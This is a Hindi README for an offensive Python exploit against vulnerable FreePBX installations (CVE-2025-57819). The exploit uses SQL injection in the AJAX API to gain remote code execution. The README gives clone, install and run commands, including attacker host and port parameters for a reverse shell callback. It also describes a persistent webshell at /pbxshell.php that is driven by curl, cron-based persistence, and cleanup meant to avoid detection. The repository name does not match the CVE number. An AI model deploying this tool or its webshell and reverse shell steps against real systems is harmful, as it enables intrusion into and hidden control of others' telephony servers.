FreePBX CVE-2025-57819 एक्सप्लॉइट

विवरण

यह स्क्रिप्ट FreePBX के 16.0.26.0 से पहले के संस्करणों (CVE-2025-57819) में एक कमजोरी का शोषण करती है, जो दूरस्थ हमलावरों को AJAX API एंडपॉइंट में SQL इंजेक्शन दोष के माध्यम से मनमाना PHP कोड निष्पादित करने की अनुमति देती है। यह एक्सप्लॉइट एक वेबशेल और एक स्वतः ट्रिगर होने वाला रिवर्स शेल दोनों बनाता है।

कमजोरी का विवरण

CVE: CVE-2025-57819
प्रभावित संस्करण: FreePBX < 16.0.26.0
प्रभाव: रिमोट कोड निष्पादन (RCE)
वेक्टर: AJAX API में SQL इंजेक्शन (/admin/ajax.php)

विशेषताएँ

/pbxshell.php पर एक स्थायी वेबशेल बनाता है
क्रॉन जॉब के माध्यम से स्वतः ट्रिगर होने वाला रिवर्स शेल सेट करता है
फ़िल्टर को बायपास करने के लिए Base64-एन्कोडेड पेलोड का उपयोग करता है
निष्पादन के बाद क्रॉन जॉब की स्वचालित सफाई

आवश्यकताएँ

Python 3.x
requests लाइब्रेरी
Netcat (रिवर्स शेल लिसनर के लिए)

स्थापना

git clone https://github.com/jasonbernier/CVE-2025-5781.git
cd CVE-2025-5781
pip install requests

उपयोग

python3 exploit.py -H TARGET_HOST -lhost LHOST -lport LPORT

पैरामीटर:

-H HOST: लक्षित FreePBX इंस्टेंस (जैसे, https://freepbx.example.com)
-lhost LHOST: रिवर्स शेल कॉलबैक के लिए आपका IP
-lport LPORT: रिवर्स शेल कनेक्शन के लिए पोर्ट

उदाहरण:

python3 exploit.py -H https://target.freepbx.com -lhost 10.0.0.1 -lport 4444

एक्सप्लॉइट प्रवाह

वेबशेल बनाने के लिए SQL इंजेक्शन पेलोड भेजता है
वेबशेल बनने की प्रतीक्षा करता है (~2 मिनट)
क्रॉन जॉब के माध्यम से स्वतः ट्रिगर होने वाला रिवर्स शेल बनाता है
निर्दिष्ट पोर्ट पर netcat लिसनर शुरू करता है

वेबशेल उपयोग

सफल शोषण के बाद, वेबशेल तक इस प्रकार पहुँचें:

curl -X GET "http://TARGET/pbxshell.php?cmd=id"

सफाई

पता लगने से बचने के लिए एक्सप्लॉइट निष्पादन के बाद क्रॉन जॉब को स्वचालित रूप से हटा देता है।

नोट्स

स्क्रिप्ट शेष SQL सिंटैक्स को कमेंट करने के लिए -- का उपयोग करती है
सभी कमांड रूट विशेषाधिकारों के साथ निष्पादित किए जाते हैं
/var/www/html/ निर्देशिका में लिखने की अनुमति की आवश्यकता होती है

CVE-2025-5781

सबसे लोकप्रिय